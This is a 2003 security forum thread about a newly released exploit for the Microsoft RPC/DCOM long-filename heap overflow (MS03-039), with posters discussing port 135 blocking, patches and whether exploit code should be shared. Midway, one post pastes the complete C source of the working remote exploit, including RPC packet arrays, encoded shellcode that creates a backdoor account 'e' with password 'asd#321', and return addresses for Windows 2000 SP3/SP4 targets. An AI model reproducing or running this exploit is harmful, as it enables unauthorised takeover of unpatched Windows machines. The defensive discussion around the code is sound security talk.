New DCOM/RPC Exploit Released

Well it seems a new exploit was released that attacks the latest report problem with Microsofts RPC/DCOM bug.

This exploit is readily available with source, so easily modifiable. It only supports from what I can tell and tested, windows 2000 boxes with either sp3 or sp4 on it and service pack ms03-026. Looks like microsoft created another bug in DCOM/RPC when they released the ms03-026 update.

The exploit will connect to the target machine, and in the unaltered source, create a username named e and a password of asd#321. Unfortunately, the username and password are very easily modifiable.

It connects to the target machine on port 135, so if your perimeter firewalls or personal firewalls block that port you should be ok.

I personally have no report cases of the exploit working as of yet. I am sure as the days go on we will see a large amount of hacks due to this though.

Grinler

well as most of the n/ws have already firewalled themselve against the previous DCOM...so i dont think this will be very helpful to the bloddy bad minds. :D

I agree, most ISP's have blocked 135, but there are still plenty who havnt.

Just have to wait and see

did you test it against a box with the MS03-039 RPC/DCOM patch that came out last week?

can someone post the location of the exploit

No, but I heard from multiple people, some reliable other no so, that it works.

Grinler

Here is an article about the exploit..

http://www.crn.com/sections/Breaking...rticleID=44561

The exploit has not been posted on bugtraq the only thing out there is a proof of concept by Dave Aitel, has anyone seen an actual exploit?

Many orgs may have the firewall rules in place, but that sure doesn't protect you from that laptop user who plugs into DSL or RoadRunner unprotected and then comes into work and plugs into your network.

Been there, done that. Got the T-Shirt.

Grinler - my question is basically this:

Is this the MS03-039 exploit? I see that you have tested against the earlier 026 patch but not against the patch that came out last week. If this is just the 039 exploit running around (and I have seen several versions of this exploit already) then it's not really new news. If it is indeed another NEW exploit then this could be a problem.

I haven't seen anything about a "new" DCOM/RPC exploit out on any of the lists that I read on a regular basis. Let's hope this is just the 039 exploit code.

Re: New DCOM/RPC Exploit Released

Quote:

Originally posted here by Grinler
Well it seems a new exploit was released that attacks the latest report problem with Microsofts RPC/DCOM bug.

Can you please post where you saw an exploit????

Quote:

I personally have no report cases of the exploit working as of yet. I am sure as the days go on we will see a large amount of hacks due to this though.

Are you getting the terms exploit and vulnerability confused?

I am not getting the terms vulnerability and exploit confused. This is a new exploit. I do not, though, give out links to source code for exploits. I am sorry but that is just a practice I keep and am not bending on that.

This exploit is for the latest DCOM/RPC bug announced by microsoft on september 10th 2003 in security bulletin MS03-039. This script from what I am told works. Hey I could be being fed BS about the exploit working, I do not know and have not had a chance to try it as I am out of town.

That is all I know. I thought it would be better to be safe and let the rest of the community know about this, then sit on it until it was proven by myself that it works. I would rather have my guards up.

Grinler

Quote:

The exploit has not been posted on bugtraq the only thing out there is a proof of concept by Dave Aitel, has anyone seen an actual exploit?

Hopefully, this information will not be abused in any way.

The K-Otik French security site has the exploit code. There are also compiled versions of the code bouncing around.

Omalakai

Thank you,

Grinler,
I can respect you not giving out links to source, I understand the potential for abuse. SOme of us though are heavy into exploit research and I actually have been trying to code an exploit from what I learned in the disclosure but I wasnt having much luck.

Head over to http://xfocus.org/ and go to the forums there. They have it posted.

exploit code

i am wondering why on a security site people wont post expliot code......if you have half a brain you will figure this out.........

#include <stdio.h>
#include <winsock2.h>
#include <windows.h>
#include <process.h>
#include <string.h>
#include <winbase.h>

#pragma comment(lib,"ws2_32")

unsigned char bindstr[]={
0x05,0x00,0x0B,0x03,0x10,0x00,0x00,0x00,0x48,0x00,0x00,0x00,0x7F,0x00,0x00,0x00,
0xD0,0x16,0xD0,0x16,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x01,0x00,
0xa0,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x00,0x00,0x00,0x00,
0x04,0x5D,0x88,0x8A,0xEB,0x1C,0xC9,0x11,0x9F,0xE8,0x08,0x00,
0x2B,0x10,0x48,0x60,0x02,0x00,0x00,0x00};

unsigned char request1[]={
0x05,0x00,0x00,0x03,0x10,0x00,0x00,0x00,0xE8,0x03
,0x00,0x00,0xE5,0x00,0x00,0x00,0xD0,0x03,0x00,0x00,0x01,0x00,0x04,0x00,0x05,0x00
,0x06,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x32,0x24,0x58,0xFD,0xCC,0x45
,0x64,0x49,0xB0,0x70,0xDD,0xAE,0x74,0x2C,0x96,0xD2,0x60,0x5E,0x0D,0x00,0x01,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x70,0x5E,0x0D,0x00,0x02,0x00,0x00,0x00,0x7C,0x5E
,0x0D,0x00,0x00,0x00,0x00,0x00,0x10,0x00,0x00,0x00,0x80,0x96,0xF1,0xF1,0x2A,0x4D
,0xCE,0x11,0xA6,0x6A,0x00,0x20,0xAF,0x6E,0x72,0xF4,0x0C,0x00,0x00,0x00,0x4D,0x41
,0x52,0x42,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x0D,0xF0,0xAD,0xBA,0x00,0x00
,0x00,0x00,0xA8,0xF4,0x0B,0x00,0x60,0x03,0x00,0x00,0x60,0x03,0x00,0x00,0x4D,0x45
,0x4F,0x57,0x04,0x00,0x00,0x00,0xA2,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00
,0x00,0x00,0x00,0x00,0x00,0x46,0x38,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00
,0x00,0x00,0x00,0x00,0x00,0x46,0x00,0x00,0x00,0x00,0x30,0x03,0x00,0x00,0x28,0x03
,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0xC8,0x00
,0x00,0x00,0x4D,0x45,0x4F,0x57,0x28,0x03,0x00,0x00,0xD8,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x02,0x00,0x00,0x00,0x07,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xC4,0x28,0xCD,0x00,0x64,0x29
,0xCD,0x00,0x00,0x00,0x00,0x00,0x07,0x00,0x00,0x00,0xB9,0x01,0x00,0x00,0x00,0x00
,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xAB,0x01,0x00,0x00,0x00,0x00
,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xA5,0x01,0x00,0x00,0x00,0x00
,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xA6,0x01,0x00,0x00,0x00,0x00
,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xA4,0x01,0x00,0x00,0x00,0x00
,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xAD,0x01,0x00,0x00,0x00,0x00
,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xAA,0x01,0x00,0x00,0x00,0x00
,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x07,0x00,0x00,0x00,0x60,0x00
,0x00,0x00,0x58,0x00,0x00,0x00,0x90,0x00,0x00,0x00,0x40,0x00,0x00,0x00,0x20,0x00
,0x00,0x00,0x78,0x00,0x00,0x00,0x30,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x10
,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x50,0x00,0x00,0x00,0x4F,0xB6,0x88,0x20,0xFF,0xFF
,0xFF,0xFF,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x10
,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x48,0x00,0x00,0x00,0x07,0x00,0x66,0x00,0x06,0x09
,0x02,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x10,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x78,0x19,0x0C,0x00,0x58,0x00,0x00,0x00,0x05,0x00,0x06,0x00,0x01,0x00
,0x00,0x00,0x70,0xD8,0x98,0x93,0x98,0x4F,0xD2,0x11,0xA9,0x3D,0xBE,0x57,0xB2,0x00
,0x00,0x00,0x32,0x00,0x31,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x80,0x00
,0x00,0x00,0x0D,0xF0,0xAD,0xBA,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x18,0x43,0x14,0x00,0x00,0x00,0x00,0x00,0x60,0x00
,0x00,0x00,0x60,0x00,0x00,0x00,0x4D,0x45,0x4F,0x57,0x04,0x00,0x00,0x00,0xC0,0x01
,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x3B,0x03
,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x00,0x00
,0x00,0x00,0x30,0x00,0x00,0x00,0x01,0x00,0x01,0x00,0x81,0xC5,0x17,0x03,0x80,0x0E
,0xE9,0x4A,0x99,0x99,0xF1,0x8A,0x50,0x6F,0x7A,0x85,0x02,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x30,0x00
,0x00,0x00,0x78,0x00,0x6E,0x00,0x00,0x00,0x00,0x00,0xD8,0xDA,0x0D,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x20,0x2F,0x0C,0x00,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x03,0x00,0x00,0x00,0x46,0x00
,0x58,0x00,0x00,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x10,0x00
,0x00,0x00,0x30,0x00,0x2E,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x68,0x00
,0x00,0x00,0x0E,0x00,0xFF,0xFF,0x68,0x8B,0x0B,0x00,0x02,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00};

unsigned char request2[]={
0x20,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x20,0x00
,0x00,0x00,0x5C,0x00,0x5C,0x00};

unsigned char request3[]={
0x5C,0x00
,0x43,0x00,0x24,0x00,0x5C,0x00,0x31,0x00,0x32,0x00,0x33,0x00,0x34,0x00,0x35,0x00
,0x36,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00
,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00
,0x2E,0x00,0x64,0x00,0x6F,0x00,0x63,0x00,0x00,0x00};

//user="e" pass="asd#321"
unsigned char sc_add_user[]=
"\xEB\x10\x5A\x4A\x33\xC9\x66\xB9\x3E\x01\x80\x34\x0A\x99\xE2\xFA"
"\xEB\x05\xE8\xEB\xFF\xFF\xFF\x70\x31\x99\x99\x99\xC3\x21\x95\x69"
"\x64\xE6\x12\x99\x12\xE9\x85\x34\x12\xD9\x91\x12\x41\x12\xEA\xA5"
"\x9A\x6A\x12\xEF\xE1\x9A\x6A\x12\xE7\xB9\x9A\x62\x12\xD7\x8D\xAA"
"\x74\xCF\xCE\xC8\x12\xA6\x9A\x62\x12\x6B\xF3\x97\xC0\x6A\x3F\xED"
"\x91\xC0\xC6\x1A\x5E\x9D\xDC\x7B\x70\xC0\xC6\xC7\x12\x54\x12\xDF"
"\xBD\x9A\x5A\x48\x78\x9A\x58\xAA\x50\xFF\x12\x91\x12\xDF\x85\x9A"
"\x5A\x58\x78\x9B\x9A\x58\x12\x99\x9A\x5A\x12\x63\x12\x6E\x1A\x5F"
"\x97\x12\x49\xF3\x9A\xC0\x71\xBD\x99\x99\x99\xF1\x66\x66\x66\x99"
"\xF1\x99\x89\x99\x99\xF3\x9D\x66\xCE\x6D\x22\x81\x69\x64\xE6\x10"
"\x9A\x1A\x5F\x95\xAA\x59\xC9\xCF\x66\xCE\x61\xC9\x66\xCE\x65\xAA"
"\x59\x35\x1C\x59\xEC\x60\xC8\xCB\xCF\xCA\x66\x4B\xC3\xC0\x32\x7B"
"\x77\xAA\x59\x5A\x71\xCA\x66\x66\x66\xDE\xFC\xED\xC9\xEB\xF6\xFA"
"\xD8\xFD\xFD\xEB\xFC\xEA\xEA\x99\xD1\xFC\xF8\xE9\xDA\xEB\xFC\xF8"
"\xED\xFC\x99\xCE\xF0\xF7\xDC\xE1\xFC\xFA\x99\xDC\xE1\xF0\xED\xC9"
"\xEB\xF6\xFA\xFC\xEA\xEA\x99\xFA\xF4\xFD\xB9\xB6\xFA\xB9\xF7\xFC"
"\xED\xB9\xEC\xEA\xFC\xEB\xB9\xFC\xB9\xF8\xEA\xFD\xBA\xAA\xAB\xA8"
"\xB9\xB6\xF8\xFD\xFD\xB9\xBF\xBF\xB9\xF7\xFC\xED\xB9\xF5\xF6\xFA"
"\xF8\xF5\xFE\xEB\xF6\xEC\xE9\xB9\xF8\xFD\xF4\xF0\xF7\xF0\xEA\xED"
"\xEB\xF8\xED\xF6\xEB\xEA\xB9\xFC\xB9\xB6\xF8\xFD\xFD\x99";
#define sc_offset 0x24
#define sc_max 0x208
#define jmp_addr_offset sc_max+sc_offset+0x8
#define top_seh_offset jmp_addr_offset+0x4

unsigned char sc[]=
"\x31\x00\x32\x00\x37\x00\x2e\x00\x30\x00\x2e\x00"
"\x30\x00\x2e\x00\x31\x00\x5c\x00\x49\x00\x50\x00"
"\x43\x00\x24\x00\x5c\x00"
"EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE"
"EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE"
"EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE"
"EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE"
"EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE"
"EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE"
"EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE"
"EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE"
"EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE"
"EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE"
"EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE"
"\xe9\xf3\xfd\xff\xff"
"EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE";

unsigned char request4[]={
0x01,0x10
,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x20,0x00,0x00,0x00,0x30,0x00,0x2D,0x00,0x00,0x00
,0x00,0x00,0x88,0x2A,0x0C,0x00,0x02,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x28,0x8C
,0x0C,0x00,0x01,0x00,0x00,0x00,0x07,0x00,0x00,0x00,0x00,0x00,0x00,0x00
};

struct
{
char *os;
DWORD dwTopSeh;
char *seh;
DWORD dwJmpAddr;
char *jmp;
}
targets[] =
{
{ "2kEnSp4+MS03-026",
0x7c54144c,
"kernel32.dll v5.0.2195.6688",
0x77a1b496,
"OLEAUT32.dll v2.40.4522.0"},
{ "2kEnSp3+SomeHotFixs+MS03-026",
0x77eda1f0,
"kernel32.dll v5.0.2195.6079",
0x77a1afa9,
"OLEAUT32.dll v2.40.4518.0"}
}, v;
void main(int argc,char ** argv)
{
WSADATA WSAData;
SOCKET sock;
int len,len1;
SOCKADDR_IN addr_in;
short port=135;
unsigned char buf1[0x1000];
unsigned char buf2[0x1000];
int i, iType;

printf( "MS03-039 RPC DCOM long filename heap buffer overflow exp v1\n"
"Base on flashsky's MS03-026 exp\n"
"Code by ey4s<eyas#xfocus.org>\n"
"2003-09-16\n"
"Welcome to http://www.xfocus.net\n"
"Thanks to flashsky & benjurry & Dave Aitel\n"
"If success, target will add a user \"e\" and password is \"asd#321\"\n\n");

if(argc!=3)
{
printf("Usage: %s <target> <type>\n", argv[0]);
for(i = 0; i < sizeof(targets)/sizeof(v); i++)
printf( "<%d> %s\n"
" TopSeh=0x%.8x in %s\n"
" JmpAddr=0x%.8x in %s\n",
i, targets.os,
targets.dwTopSeh, targets.seh,
targets.dwJmpAddr, targets.jmp);
return;
}

iType = atoi(argv[2]);
if((iType<0) || iType > sizeof(targets)/sizeof(v))
{
printf("[-] Wrong type.\n");
return;
}

memcpy(&sc[sc_offset], sc_add_user, sizeof(sc_add_user));
memcpy(&sc[jmp_addr_offset], &targets[iType].dwJmpAddr,4);
memcpy(&sc[top_seh_offset], &targets[iType].dwTopSeh,4);
printf("[+] Prepare shellcode completed.\n");

if (WSAStartup(MAKEWORD(2,0),&WSAData)!=0)
{
printf("WSAStartup error.Error:%d\n",WSAGetLastError());
return;
}

addr_in.sin_family=AF_INET;
addr_in.sin_port=htons(port);
addr_in.sin_addr.S_un.S_addr=inet_addr(argv[1]);

if ((sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==INVALID_SOCKET)
{
printf("Socket failed.Error:%d\n",WSAGetLastError());
return;
}
if(WSAConnect(sock,(struct sockaddr *)&addr_in,sizeof(addr_in),NULL,NULL,NULL,NULL)==SOCKET_ERROR)
{
printf("Connect failed.Error:%d",WSAGetLastError());
return;
}
printf("[+] Connect to %s:135 success.\n", argv[1]);

if(sizeof(sc_add_user) > sc_max)
{
printf("[-] shellcode too long, exit.\n");
return;
}

len=sizeof(sc);
memcpy(buf2,request1,sizeof(request1));
len1=sizeof(request1);
*(DWORD *)(request2)=*(DWORD *)(request2)+sizeof(sc)/2; //¼ÆËãÎÄ¼þÃûË«×Ö½Ú³¤¶È
*(DWORD *)(request2+8)=*(DWORD *)(request2+8)+sizeof(sc)/2;//¼ÆËãÎÄ¼þÃûË«×Ö½Ú³¤¶È
memcpy(buf2+len1,request2,sizeof(request2));
len1=len1+sizeof(request2);
memcpy(buf2+len1,sc,sizeof(sc));
len1=len1+sizeof(sc);
memcpy(buf2+len1,request3,sizeof(request3));
len1=len1+sizeof(request3);
memcpy(buf2+len1,request4,sizeof(request4));
len1=len1+sizeof(request4);
*(DWORD *)(buf2+8)=*(DWORD *)(buf2+8)+sizeof(sc)-0xc;
//¼ÆËã¸÷ÖÖ½á¹¹µÄ³¤¶È
*(DWORD *)(buf2+0x10)=*(DWORD *)(buf2+0x10)+sizeof(sc)-0xc;
*(DWORD *)(buf2+0x80)=*(DWORD *)(buf2+0x80)+sizeof(sc)-0xc;
*(DWORD *)(buf2+0x84)=*(DWORD *)(buf2+0x84)+sizeof(sc)-0xc;
*(DWORD *)(buf2+0xb4)=*(DWORD *)(buf2+0xb4)+sizeof(sc)-0xc;
*(DWORD *)(buf2+0xb8)=*(DWORD *)(buf2+0xb8)+sizeof(sc)-0xc;
*(DWORD *)(buf2+0xd0)=*(DWORD *)(buf2+0xd0)+sizeof(sc)-0xc;
*(DWORD *)(buf2+0x18c)=*(DWORD *)(buf2+0x18c)+sizeof(sc)-0xc;

len = send(sock,bindstr,sizeof(bindstr),0);
if(len<=0)
{
printf("[-] Send failed.Error:%d\n",WSAGetLastError());
return;
}
else
printf("[+] send %d bytes.\n", len);

len=recv(sock,buf1,1000,0);
if(len<=0)
{
printf("[-] recv error:%d\n", GetLastError());
return;
}
else
printf("[+] recv %d bytes.\n", len);

len = send(sock,buf2,len1,0);
if(len<=0)
{
printf("[-] Send failed.Error:%d\n",WSAGetLastError());
return;
}
else
printf("[+] send %d bytes.\n", len);
len=recv(sock,buf1,1024,0);
if(len<=0)
{
printf("[+] Target crash or exploit success? :)\n");
}
else
printf("[-] recv %d bytes. Bad luck!\n", len);
}

Not sure how 'stupid' you think script kiddies/mal users actually are, but statistics show that more than 89% of them know how to open a 'hidden post' ;)

You guys are giving me RSI. Stop with the hidden posts already! :)

Quote:

Originally posted here by Grinler
I agree, most ISP's have blocked 135, but there are still plenty who havnt.

Well it is irrelevant. If and when any new worm (Blaster mk II) arrives, it will attack machines close by preferentially.

That means even if the ISP blocks 135 on their border routers, it only takes one already infected machine to dial up to their switch and all the others dialled up that are vulnerable will be infected.

So the only way to protect their customers completely is to block port 135 at every single router and switch on their network used by customer machines.

Of course most ISPs don't use a lot of Windows boxes internally (as customer servers), and if they do it is probably for their admin staff behind a firewall somewhere anyway. So the ISPs own boxes will mostly not be vulnerable (plus also most ISPs tend to have a clue and will therefore tend to patch them)

Slarty